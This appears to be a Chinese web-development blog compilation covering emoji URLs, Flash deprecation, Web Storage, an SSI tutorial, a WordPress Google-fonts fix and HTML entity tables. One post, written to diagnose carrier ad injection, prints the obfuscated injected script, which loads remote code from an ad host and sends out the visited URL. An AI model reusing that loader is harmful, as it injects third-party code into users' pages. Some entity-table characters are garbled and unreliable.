在web页面中使用HTML  Symbol作为URL链接字符

看到一个地址链接中有个图标做链接锚点,尝试下确实可以打开。。。

查看代码里也是符号

<a href="https://api2u.me/tag/📚Curricula.html">📚Curricula</a>

然后直接复制进浏览器地址栏,也是可以的。Google Chrome,Microsoft Edge都可以粘贴。查询下

以前知道在html中显示转义符号,可没想过用Emoji 在代码里可以做连接符号。。。竟然浏览器也都支持了。。。

大致了解了下,我的理解是,其实使用Chromium内核的浏览器本身就可以看作一个 建构在web之上的应用容器,它已经将符号编码转义渲染了一次。所以可以在渲染代码之前就显示符号。

Link Emoji Meaning: Uses, How to Reply & More – wikihow.com

点击上面的链接,打开的页面地址栏会有带有下面图标链接的URL。

我先试试在CMD下的效果。

如果你安装了powershell 可以本机命令,wget https://xn--i-7iq.ws

在命令行窗口内也会显示符号图标

在 linux bash下 curl https://xn--i-7iq.ws 也可以显示,但是与cmd下完全不同。

📚 ❤️🔗

符号在各种编码下的编码

🔗https://www.htmlsymbol.com/unicode-code/1f517.html

Technical information
Name:Link Symbol
Symbol:🔗
Unicode Number:U+1F517
HTML Code:&#128279; &#x1F517;
HTML Entity:
CSS Code:\1F517
UTF-8 Encoding:0x1F517
UTF-16 Encoding:0x0001F517
UTF-32 Encoding:0x000000000001F517
Hex 2700-27BF / Decimal 9984-10175

https://www.w3schools.com/charsets/ref_utf_dingbats.asp

Example

<p>I will display &#9986;</p>
<p>I will display &#x2702;</p>

Will display as:

I will display ✂
I will display ✂

符号在HTML中的使用。

参考站点:

HTML Symbol Unicode symbols, html entities and codes https://www.htmlsymbol.com/

HTML Unicode (UTF-8) Reference https://www.w3schools.com/charsets/ref_html_utf8.asp

符号查询

EmojiXD®️ https://emojixd.com/

EmojiXD是一本线上Emoji百科全书📚,收录了所有emoji,帮你通过分类或者搜索轻松找到合适的表情符号,并了解各种emoji符号的相关知识和使用情景

Letterlike Symbols – https://www.unichar.app/web/

HTML Unicode (UTF-8) Reference – https://graphemica.com/🔗

Chrome 与 Flash 说再见

Adobe宣布计划在2020年底停止支持Flash。

20年来,Flash一直在帮助您塑造在网络上玩游戏、观看视频和运行应用程序的方式。但是在过去的几年里,flash已经不那么常见了。三年前,80%的桌面Chrome用户每天访问一个带有Flash的网站。今天的使用率只有17%,而且还在继续下降。

这一趋势表明,网站正在向比Flash更快、更节能的开放式Web技术转移。它们也更安全,因此在购物、银行或阅读敏感文档时更安全。它们也可以在移动和桌面上工作,所以你可以在任何地方访问你最喜欢的站点。

这些开放式Web技术在去年年底成为Chrome的默认体验,当时网站开始需要请求您的许可才能运行Flash。在接下来的几年里,Chrome将继续逐步淘汰Flash,首先是请求您允许在更多情况下运行Flash,最后在默认情况下禁用它。到2020年底,我们将把flash完全从chrome中删除。

如果你今天经常访问一个使用flash的网站,你可能会想知道这对你有何影响。如果网站迁移到开放式Web标准,除了不再看到在该网站上运行flash的提示外,您不应该注意到有什么不同。如果站点继续使用flash,并且您授予站点运行flash的权限,那么它将一直工作到2020年底。

为了确保网络准备好无闪存,需要与Adobe、其他浏览器和主要发行商密切合作。我们支持Adobe今天的声明,我们期待着与所有人合作,使网络变得更好。

LocalStorage 本地存储

Cookie不多说了。

Web SQL Database实际上已经被废弃,而HTML5的支持的本地存储实际上变成了

Web Storage(Local Storage和Session Storage)与IndexedDB。

Web Storage使用简单字符串键值对在本地存储数据,方便灵活,但是对于大量结构化数据存储力不从心,IndexedDB是为了能够在客户端存储大量的结构化数据,并且使用索引高效检索的API。

sessionStorage和上文中提到的localStorage非常相识,方法也几乎一样:

非常通俗易懂的接口:

  • sessionStorage.getItem(key):获取指定key本地存储的值
  • sessionStorage.setItem(key,value):将value存储到key字段
  • sessionStorage.removeItem(key):删除指定key本地存储的值
  • sessionStorage.length是sessionStorage的项目数

sessionStorage与 localStorage 的异同

sessionStorage 和 localStorage 就一个不同的地方, sessionStorage数据的存储仅特定于某个会话中,也就是说数据只保持到浏览器关闭,当浏览器关闭后重新打开这个页面时, 之前的存储已经被清除。而 localStorage 是一个持久化的存储,它并不局限于会话。

使用 Web Storage(Local Storage和Session Storage)

首先自然是检测浏览器是否支持本地存储。在HTML5中,本地存储是一个window的属性,包括localStorage和sessionStorage,从名字应该可以很清楚的辨认二者的区别,前者是一直存在本地的,后者只是伴随着session,窗口一旦关闭就没了。二者用法完全相同,这里以localStorage为例。

if(window.localStorage){
alert(‘This browser supports localStorage’);
}else{
alert(‘This browser does NOT support localStorage’);
}

存储数据的方法就是直接给window.localStorage添加一个属性,例如:window.localStorage.a 或者 window.localStorage[“a”]。它的读取、写、删除操作方法很简单,是以键值对的方式存在的,如下:

localStorage.a = 3;//设置a为”3″
localStorage[“a”] = “sfsf”;//设置a为”sfsf”,覆盖上面的值
localStorage.setItem(“b”,”isaac”);//设置b为”isaac”
var a1 = localStorage[“a”];//获取a的值
var a2 = localStorage.a;//获取a的值
var b = localStorage.getItem(“b”);//获取b的值
localStorage.removeItem(“c”);//清除c的值

这里最推荐使用的自然是getItem()和setItem(),清除键值对使用removeItem()。如果希望一次性清除所有的键值对,可以使用clear()。另外,HTML5还提供了一个key()方法,可以在不知道有哪些键值的时候使用,如下:

var storage = window.localStorage;
function showStorage(){
for(var i=0;i<storage.length;i++){
//key(i)获得相应的键,再用getItem()方法获得对应的值
document.write(storage.key(i)+ ” : ” + storage.getItem(storage.key(i)) + “<br>”);
}
}

html5客户端本地存储之sessionStorage的实例页面

http://www.css88.com/demo/sessionStorage/

http://www.css88.com/demo/sessionStorage/index2.html

http://www.css88.com/demo/sessionStorage/index3.html

Web Storage Support Test

http://dev-test.nemikor.com/web-storage/support-test/

解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】

一个多月就发现浏览器右下角会有时出现广告窗口。

查看源代码,发现head结束之前被加入一行js引用,

<script charset="utf-8" async="true" src="http://n.cosbot.cn/rb/i8.js">
</script>
</head>
(function(d){function $a(p){try{var x=d.getElementsByTagName("head")[0];var y=x.appendChild($s(p));setTimeout(function(){x.removeChild(y)},2000)}catch(e){}}function $c(n){return d.createElement(n)}function $s(p){var j=$c("script");j.src=p;j.async=true;j.type="text/javascript";return j}var amt=0;function $rn(){var ww=d.body.clientWidth;var hh=d.body.clientHeight;var u={j:"ht",c:"com.cn",q:"tp:",m:"b.",n:"wdzs",d:"i."};var be=u.j+u.q+"//"+u.d+u.n+u.m+u.c;var en=escape(window.location.href)+"&a="+Math.random()+"&w="+ww+"&h="+hh;if(top==this){if(ww<300||hh<40){amt+=1;if(amt<3){setTimeout($rn,1000)}else{$a(be+"/fmt8p/m.php?u="+en)}}else{$a(be+"/fmt8p/?u="+en)}}}setTimeout($rn,500)})(document);

最终地址:

*.wdzsb.com.cn/fmt?p/

继续阅读“解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】”

shtml中的脚本 – SSI 服务器端包含 (Server Side Includes)

服务器端包含

 

介绍

服务器端包含(Server Side Includes),通常简称为SSI,是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

对什么时候用SSI,而什么时候用某些程序生成整个页面的权衡,取决于页面中有多少内容是静态,有多少内容需要在每次页面被提供时重新计算。SSI是一种增加小段信息的好方法,诸如当前时间。如果你的页面大部分是在被提供时生成的,那就要另找方案了。

。将服务器信息添加到一个 HTML 文档。包括以下的形式:

<!--#command variablename="value"-->
Whether or not you can use SSI on your site depends on your provider. Ask your favourite support person if you can use SSI, what server software is used and if there are any special techniques, conditions or rules. For example, on my site I can only use SSI in files that have an .shtml extension instead of the normal .html one. You also have to ask what path to files to use.

Unfortunately, not all includes explained here work for all servers. For example, the #hide and #show includes are specific to WebStar. With Apache server software, you can achieve the same things by using #if and #endif.

更改时间格式

Before starting to use server side includes, you need to configure a number of things. For starters, choose a format for date and time you like (the #echo command is explained later in this chapter).

<!–#config timefmt=”%A, %d %B %Y at %H:%M:%S”–>
<!–#echo var=”date_gmt”–>

Below is a table of many of the options you can use. You can also include things like colons, commas and slashes as well as bits of text and HTML. You can mix the elements below at will.

Element Value Example
%a Abbreviated day of the week Sun
%A Day of the week Sunday
%b Abbreviated month name Jan
%B Month in full January
%d Date 1 (and not 01)
%H 24-hour clock hour 13
%I 12-hour clock hour 1
%j Decimal day of the year 360
%m Month number 11
%M Minutes 08
%p AM or PM AM
%S Seconds 09
%U Week of the year (also %W) 49
%w Day of the week number 05
%y Year of the century 95
%Y Year 1995
%Z Time zone EST

Here are some more examples of different formats:

<!–#config timefmt=”Week %U of %y”–>
<!–#echo var=”date_gmt”–>

<!–#config timefmt=”%d/%m/%y, day %j of the year”–>
<!–#echo var=”date_gmt”–>

<!–#config timefmt=”%I:%S %p”–>
<!–#echo var=”date_gmt”–>

The last format you have set will remain valid throughout the rest of the page. However, unless you want to use the default format (which usually is something like 98/07/12:16:45:34) you will have to set your favourite time format in every page that uses server side includes that have to do with time.

更改大小格式

You can also specify the way file sizes are displayed.

<!–#config sizefmt=”bytes”–>
<!–#fsize file=”top.gif”–>
<!–#config sizefmt=”abbrev”–>
<!–#fsize file=”top.gif”–>


The #fsize include is explained later in this chapter. You can see that the “bytes” option gives the size in full in bytes, the “abbrev” option gives the size in kilobytes.

自定义错误消息

You can change the default error message to anything you want. Here is an example of changing the error message and then trying to include the non-existent file “nosuchfile.html”:

<!–#config errmsg=”Sorry, an error occurred. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfile.html”–>

There is only one error message available. However, you can change the error message more than once in a single html file:

<!–#config errmsg=”Sorry, an error occurred including nosuchfile.html. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfile.html”–>

<!–#config errmsg=”Sorry, an error occurred including nosuchfileagain.html. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfileagain.html”–>

Specifying your own error messages will make it easier for you to spot and solve problems. If you want to use more than one error message, you have to make sure that you change the error message before the command it refers to.

包括文件

The include command allows you to dynamically insert other HTML files into the current HTML file. Use it like this:

<!–#include file=”file.shtml”–>

What path to use, again, depends on your provider. Normally it will be a path that is local to the server, so it will not include http://etc. The most sensible use of this command is to take standard bits of your pages such as headers and footer and put them in a separate file. On all of your pages you use the include command to include that file. That way, in order to change the footer on all pages, you only need to change one file. For example, you could make a simple text file that contains:

<P ALIGN=”center”>Copyright 1998 Tom, Dick and Harry<BR>
Please mail us at tom.dick@harry.com</P

You save this file as ssifooter.html and include it in your other files by using:

<!–#include file=”ssifooter.html”–>

The files you include can be plain text files or can include HTML. You don’t need to give them <HEAD> and <BODY> tags, just put in whatever you want to insert. In these files you can use whatever HTML you want and you can make links, etc.

隐藏 / 显示

With the Hide and Show commands you can avoid that your reader sees certain parts of the document:

<P>Now you see me, <!–#hide–> This text is not shown. <!–#show–> now you don’t.</P

Show and Hide can be used to temporary exclude parts of your document. Hide and Show only work under WebStar, so I cannot show you an example here.

根据时间隐藏和显示

The next example shows how to display bits of HTML only after certain days. Comparisons like this always use the default time format of 1998/07/24:17:34:45 no matter what you have done with the timefmt option.

<!–#hide–>
<!–#show after=”1998/06/30″–>
This text is shown after 30 June 1998.
<!–#show–>

<!–#hide–>
<!–#show after=”1999/06/30″–>
This text is shown after 30 June 1999.
<!–#show–>

Or you can show and hide things on specific days using a combination of ‘hide after’ and ‘show after’:

<!–#hide–>
<!–#show during=”1998/07/12″–>
This text is shown on 12 July 1998.
<!–#show–>

<!–#hide–>
<!–#show during=”1998/07/13″–>
This text is shown on 13 July 1998.
<!–#show–>

<!–#hide–>
<!–#show during=”1998/07/14″–>
This text is shown on 14 July 1998.
<!–#show–>

As you can see, you do not have to specify a full date and time but only what is relevant for you. If you would want to show something during 1998 you could use: during=”1998″.

依据时间隐藏和显示

Here is an example of how to show a bit of text only to a user of Netscape’s Navigator:

<!–#hide–>
<!–#show var=”http_user_agent” operator=”contains”
value=”nav”–>
Welcome Netscape Navigator user!
<!–#show–>

<!–#hide–>
<!–#show var=”http_user_agent” operator=”contains”
value=”MSIE”–>
Welcome Internet Explorer user!
<!–#show–>

As you can see in this example, the output of Webstar is by default on. That’s why you start any of these examples by switching the output of (#hide) and then switching it on again if the appropriate condition is fulfilled. At the end of the example you switch the output on again with a #show include. Again, show and hide do not work under Apache so I cannot show you the result here.

随机隐藏和显示

Show and Hide can also be used at random:

<!–#hide–>
<!–#show var=”random” op=”<” value=”50″ –>
Heads
<!–#hide–>
<!–#show var=”random” op=”=>” value=”50″ –>
Tails
<!–#show–>

If you do a couple of reloads, you should see the text change. Of course you can use the same thing to show and hide images or any other HTML. The number that is used by Webstar is a random number ranging from 1 to 99 inclusive. Here is an example for three random texts:

<!–#hide–>
<!–#show var=”random” op=”<” value=”33″ –>
To be or not to be,
<!–#hide–>
<!–#show var=”random” op=”=>” value=”34″ –>
<!–#hide var=”random” op=”>” value=”66″ –>
that’s the question,
<!–#hide–>
<!–#show var=”random” op=”>” value=”66″ –>
my dear Watson.
<!–#show–>

更多的隐藏和显示

In fact you can show and hide text at will using any of the environment variables (see the section on Echo below). This example shows a bit of text to a user with IP address 195.99.40.125:

<!–#hide–>
<!–#show var=”remote_addr” operator=”=” value=”195.99.40.125″–>
Welcome BTinternet user!
<!–#show–>

If you have friends with fixed IP addresses you can leave messages especially for them in the same manner. Finally, you should know which operators are available:

Operator Meaning
“contains” or “con” variable contains the value string
“starts with” or “start” variable starts with the value string
“ends with” or “end” variable ends with the value string
“=” or “==” variable equals the value string
“!=” or “<>” variable does not equal the value string
“<“ variable is less than the value string
“<=” or “=<“ variable is less than or equal to the value string
“>” variable is greater than the value string
“>=” or “=>” variable is greater than or equal to the value string

If 和 Endif

Because this server runs Apache I could not show the examples of #hide and #show. I can, however, demonstrate the #if and #endif includes (if and endif, in turn, do not work under Webstar):

<!–#config timefmt=”%A”–>
<!–#if expr=”$date_gmt = Friday” –>
Hang in there, it’s almost weekend
<!–#elif expr=”($date_gmt = Saturday) || ($date_gmt = Sunday)” –>
Have a nice weekend
<!–#else –>
Have a good day
<!–#endif –>

Hang in there, it’s almost weekend Have a nice weekend Have a good day

The first thing you will notice is that the #if include, opposite to the #hide and #show, does use the date as formatted with timefmt. This has some clear advantages. You can also see that this example is a bit easier to understand the #show and #hide spaghetti that WebStar seems to need. Note that the #if and #endif are obligatory, the #elif and #else are optional. This example uses date_gmt which is London time -ignoring summertime- rather than date_local which depends on where the server is.

The following operators are available:

Operator Meaning
string1 = string2 string1 equals string2
string1 != string2 string1 does not equal string2
string1 < string2 string1 is less than string2
string1 <= string2 string1 is less than or equal to string2
string1 > string2 string1 is greater than string2
string1 >= string2 string1 is greater than or equal to string2

If, Endif 和环境变量

you can use the #if include to show different information to different browsers. Each browser sets the environment variable http_user_agent differently. This is how Netscape Navigator 4.04, Microsoft Internet Exploder and Apple’s Cyberdog respectively do it:

Mozilla/4.04 (Macintosh; I; PPC, Nav)
Mozilla/4.0 (compatible; MSIE 4.0; Mac_PowerPC)
Cyberdog/2.0 (Macintosh; PPC)

As you can see these are all the Macintosh versions. By the way, this is what your own browser makes of http_user_agent: . So this is how to show different information to different browsers:

<!–#if expr=”$HTTP_USER_AGENT=/MSIE/ ” –>
Fight the Microsoft Monopoly. Get Netscape!
<!–#elif expr=”$HTTP_USER_AGENT=/Nav/ ” –>
Welcome Netscape Navigator user!
<!–#elif expr=”$HTTP_USER_AGENT=/Cyberdog/ ” –>
Welcome Apple Cyberdog user!
<!–#else –>
Welcome! So what browser are you using?
<!–#endif –>

Fight the Microsoft Monopoly. Get Netscape! Welcome Netscape Navigator user! Welcome Apple Cyberdog user! Welcome! So what browser are you using?

Note that the /Nav/ I am looking for here is produced by Netscape Navigator, which is Communicator without the news, mail and webeditor modules. The above is obviously not an exhaustive list of browsers, which is why there is also an #else include for all the browsers that are not covered.

The two slashes around MSIE, Nav and Cyberdog in the example above means that the second string is interpreted as a regular expression, commonly used under Unix. In this case it checks if http_user_agent contains that string.

Set

The #set include can be used to create your own variables and assign them a value. Variables can be printed or can be used in #if statements:

<!–#set var=”carmodel” value=”Mercedes” –>
<!–#echo var=”carmodel” –><BR>
<!–#if expr=”$carmodel = Mercedes” –>
That’s a jolly nice car
<!–#endif –>


That’s a jolly nice car

The $ sign in the #if include is needed to ensure that “carmodel” is interpreted as a variable, not as a string.

Echo

ECHO can be used to insert information from the browser and the server into your document, the so-called environment variables. The following possibilities are available:

Document Name: <!–#echo var=”document_name”–>
Document URI: <!–#echo var=”document_uri”–>
Local Date: <!–#echo var=”date_local”–>
GMT Date: <!–#echo var=”date_gmt”–>
Last Modified: <!–#echo var=”last_modified”–>
Server Software: <!–#echo var=”server_software”–>
Server Name: <!–#echo var=”server_name”–>
Server Protocol: <!–#echo var=”server_protocol”–>
Server Port: <!–#echo var=”server_port”–>
Gateway Interface: <!–#echo var=”gateway_interface”–>
Request Method: <!–#echo var=”request_method”–>
Script Name: <!–#echo var=”script_name”–>
Remote Host: <!–#echo var=”remote_host”–>
Remote Address: <!–#echo var=”remote_addr”–>
Remote User: <!–#echo var=”remote_user”–>
Content Type: <!–#echo var=”content_type”–>
Content Length: <!–#echo var=”content_length”–>
HTTP Accept: <!–#echo var=”http_accept”–>
HTTP User Agent (Browser): <!–#echo var=”http_user_agent”–>
HTTP Cookie: <!–#echo var=”http_cookie”–>
Unescaped query string: <!–#echo var=”query_string_unescaped”–>
Query String: <!–#echo var=”query_string”–>
Path Info: <!–#echo var=”path_info”–>
Path Translated: <!–#echo var=”path_translated”–>
Referer: <!–#echo var=”referer”–>
Forwarded: <!–#echo var=”forwarded”–>

Document Name:
Document URI:
Local Date:
GMT Date:
Last Modified:
Server Software:
Server Name:
Server Protocol:
Server Port:
Gateway Interface:
Request Method:
Script Name:
Remote Host:
Remote Address:
Remote User:
Content Type:
Content Length:
HTTP Accept:
HTTP User Agent (Browser):
HTTP Cookie:
Unescaped query string:
Query String:
Path Info:
Path Translated:
Referer:
Forwarded:

Not all ECHO commands always result in information being printed. This can depend on the server, on your browser and on the way you reached this page. The #echo include works both under WebStar and Apache.

Print Environment

If you want to print the entire environment, you do not need to use a whole list of #echo includes. Instead you can use this shortcut.

<PRE> <!–#printenv –> </PRE>



Note that the environment includes the variable “carmodel” that was defined in an earlier example.

执行脚本

You can use a server side include to run a script. This is what I use on my homepage:

<!–#exec cgi=”ssi.demo.cgi”–>

The CGI script (which is in Perl 5) opens a file with a dozen quotes, selects one at random and prints it to the page. The script, by the way, is courtesy of Matt Wright who offers a brilliant collection of scripts.

文件大小

You can insert the size of a file in this way:

<!–#fsize file=”top.gif”–>

This inserts the size of the file top.gif (the logo at the top of this page). As explained earlier in this chapter, you can determine if the size is displayed in full bytes or abbreviated in kilobytes or megabytes.

文件日期

You can insert the date of a file in this way:

<!–#flastmod file=”top.gif”–>

This inserts the date and the time the file top.gif (the logo at the top of this page) was last modified. The format of the date and time can be customized by you as explained earlier in this chapter.

This page has been translated into Spanish language by Maria Ramos from Webhostinghub.com.

 

 

优化WordPress,解决加载慢,等待google引用地址超时问题

近几个月发现空间经常很慢,特别是WordPress响应非常迟钝,但一直懒得动它。 前几天实在受不了,正巧看到一个特价的vps,就用paypal支付了$,买了一个. 搞好了系统,配置好环境,就在准备迁移WordPress数据的时候,偶然看到一个文章,说近来几个月很多人的WordPress都是变的很慢。 查了查相关文章,跟google被墙有关,原因是wp的字体加载的都是 在google托管的,还有些js,css脚本等等,比如:

<link href='http://fonts.googleapis.com/css?family=Open+Sans:300,400,600&subset=latin,latin-ext' rel='stylesheet'>

<script src="http://html5shim.googlecode.com/svn/trunk/html5.js">

<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?ver=3.4.2'></script>

这样 googleapis.com,googlecode.com 无法联通,自然相关引用的字体,脚本也都无法加载,只有等待主机超时, 所以WordPress都变的很慢。 知道问题所在就处理它。

 [ 只解决最影响加载速度的字体就可以了 ]

1。不使用google字体

编辑主题的 functions.php文件,在末尾添加以下代码:
//禁用Open Sans
class Disable_Google_Fonts {
public function __construct() {
add_filter( ‘gettext_with_context’, array( $this, ‘disable_open_sans’             ), 888, 4 );
}
public function disable_open_sans( $translations, $text, $context, $domain ) {
if ( ‘Open Sans font: on or off’ == $context && ‘on’ == $text ) {
$translations = ‘off’;
}
return $translations;
}
}
$disable_google_fonts = new Disable_Google_Fonts;

这里提供了由360网站卫士CDN驱动的常用前端公共库以及和谐使用Google公共库&字体库的调用方法

下面的方法2,3是使用 – 360网站卫士常用前端公共库CDN服务 替换 google的对应引用地址。

2。手动修改替换引用地址

打开wordpress文件: wp-includes/script-loader.php

搜: fonts.googleapis.com

替换:fonts.googleapis.com替换为 fonts.useso.com ,保存文件,发现问题解决了。

原理就是用360来加速google字体。

速度很好,360的加速很快。

3。使用插件

如何通过第三方Wordpress字体转换插件继续使用Google字体库? (感谢来自淘宝的soulteary童鞋开发了这个插件) 插件说明地址:http://www.soulteary.com/2014/06/08/replace-google-fonts.html 插件下载地址:http://www.soulteary.com/wp-content/uploads/2014/06/Replace-Google-Fonts.zip

—- P.S. 这样暂时就不用站点迁移了. 差点误会了服务商.

email2ascii — 将EMail地址转换为Ascii

今天看到一个很好的隐藏页面邮件地址的例子:

通过将电子邮件地址转码为Ascii编码,在页面完成一种简单的电子邮件地址保护,减少你收到垃圾邮件的概率。

 

HTML:
<a href="mailto:&#100;&#105;&#115;&#116;&#114;&#111;&#64;&#100;&#105;&#115;&#116;&#114;&#111;&#119;&#97;&#116;&#99;&#104;&#46;&#99;&#111;&#109;">Ladislav Bodnar</a>

鼠标移动到连接, 页面状态栏显示的是:

mailto:distro@distrowatch.com

 

完整代码,请查看:  EMail 地址转 Ascii — 将EMail地址转换为Ascii

http://bohu.net/t/email2ascii.php

 

PHP:

<?php
	$result=array();
	for($i=0,$l=mb_strlen($email,'utf-8');$i<$l;++$i){
			$result[]="&amp;#".uniord(mb_substr($email,$i,1,'utf-8'));
	}
	echo "<pre>".join(";",$result).";</pre>";
?>

JavaScript:

<script type="text/javascript">
	var s = "<?php echo $email;?>";
	var as = "";
	for(var a = 0; a<s.length; a++){
			 as += "&amp;#"+s.charCodeAt(a)+";";
	 }
	document.write("<pre>"+as+"</pre>");
</script>

 

完整PHP代码:

email2ascii.txt — 右键另存下载

 

ASCII控制字符(特殊字符)对照表

ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符
0 NUT 32 (space) 64 @ 96
1 SOH 33 ! 65 A 97 a
2 STX 34 66 B 98 b
3 ETX 35 # 67 C 99 c
4 EOT 36 $ 68 D 100 d
5 ENQ 37 % 69 E 101 e
6 ACK 38 & 70 F 102 f
7 BEL 39 , 71 G 103 g
8 BS 40 ( 72 H 104 h
9 HT 41 ) 73 I 105 i
10 LF 42 * 74 J 106 j
11 VT 43 + 75 K 107 k
12 FF 44 , 76 L 108 l
13 CR 45 77 M 109 m
14 SO 46 . 78 N 110 n
15 SI 47 / 79 O 111 o
16 DLE 48 0 80 P 112 p
17 DCI 49 1 81 Q 113 q
18 DC2 50 2 82 R 114 r
19 DC3 51 3 83 S 115 s
20 DC4 52 4 84 T 116 t
21 NAK 53 5 85 U 117 u
22 SYN 54 6 86 V 118 v
23 TB 55 7 87 W 119 w
24 CAN 56 8 88 X 120 x
25 EM 57 9 89 Y 121 y
26 SUB 58 : 90 Z 122 z
27 ESC 59 ; 91 [ 123 {
28 FS 60 < 92 / 124 |
29 GS 61 = 93 ] 125 }
30 RS 62 > 94 ^ 126 `
31 US 63 ? 95 _ 127 DEL
特殊字符解释
NUL空 VT 垂直制表 SYN 空转同步
STX 正文开始 CR   回车 CAN  作废
ETX  正文结束 SO   移位输出 EM   纸尽
EOY  传输结束 SI 移位输入 SUB  换置
ENQ  询问字符 DLE  空格 ESC  换码
ACK  承认 DC1  设备控制1 FS   文字分隔符
BEL  报警 DC2  设备控制2 GS   组分隔符
BS   退一格 DC3  设备控制3 RS   记录分隔符
HT   横向列表 DC4  设备控制4 US   单元分隔符
LF   换行 NAK  否定 DEL  删除

HTML特殊转义字符对照表

字符 十进制 转义字符
&#34; &quot;
& &#38; &amp;
< &#60; &lt;
> &#62; &gt;
不断开空格(non-breaking space) &#160; &nbsp;

 

HTML特殊转义字符对照表
字符 十进制 转义字符 字符 十进制 转义字符 字符 十进制 转义字符
? &#161; &iexcl; Á &#193; &Aacute; á &#225; &aacute;
&#162; &cent; Â &#194; &circ; â &#226 &acirc;
&#163; &pound; Ã &#195; &Atilde; ã &#227; &atilde;
¤ &#164; &curren; Ä &#196; &Auml ä &#228; &auml;
&#165; &yen; Å &#197; &ring; å &#229; &aring;
| &#166; &brvbar; Æ &#198; &AElig; æ &#230; &aelig;
§ &#167; &sect; Ç &#199; &Ccedil; ç &#231; &ccedil;
¨ &#168; &uml; È &#200; &Egrave; è &#232; &egrave;
© &#169; &copy; É &#201; &Eacute; é &#233; &eacute;
a &#170; &ordf; Ê &#202; &Ecirc; ê &#234; &ecirc;
? &#171; &laquo; Ë &#203; &Euml; ë &#235; &euml;
? &#172; &not; Ì &#204; &Igrave; ì &#236; &igrave;
/x7f &#173; &shy; Í &#205; &Iacute; í &#237; &iacute;
® &#174; &reg; Î &#206; &Icirc; î &#238; &icirc;
ˉ &#175; &macr; Ï &#207; &Iuml; ï &#239; &iuml;
° &#176; &deg; Ð &#208; &ETH; ð &#240; &ieth;
± &#177; &plusmn; Ñ &#209; &Ntilde; ñ &#241; &ntilde;
2 &#178; &sup2; Ò &#210; &Ograve; ò &#242; &ograve;
3 &#179; &sup3; Ó &#211; &Oacute; ó &#243; &oacute;
&#180; &acute; Ô &#212; &Ocirc; ô &#244; &ocirc;
μ &#181; &micro; Õ &#213; &Otilde; õ &#245; &otilde;
? &#182; &para; Ö &#214; &Ouml; ö &#246; &ouml;
· &#183; &middot; &times; &#215; &times; ÷ &#247; &divide;
? &#184; &cedil; Ø &#216; &Oslash; ø &#248; &oslash;
1 &#185; &sup1; Ù &#217; &Ugrave; ù &#249; &ugrave;
o &#186; &ordm; Ú &#218; &Uacute; ú &#250; &uacute;
? &#187; &raquo; Û &#219; &Ucirc; û &#251; &ucirc;
? &#188; &frac14; Ü &#220; &Uuml; ü &#252; &uuml;
? &#189; &frac12; Ý &#221; &Yacute; ý &#253; &yacute;
? &#190; &frac34; Þ &#222; &THORN; þ &#254; &thorn;
? &#191; &iquest; ß &#223; &szlig; ÿ &#255; &yuml;
À &#192; &Agrave; à &#224; &agrave;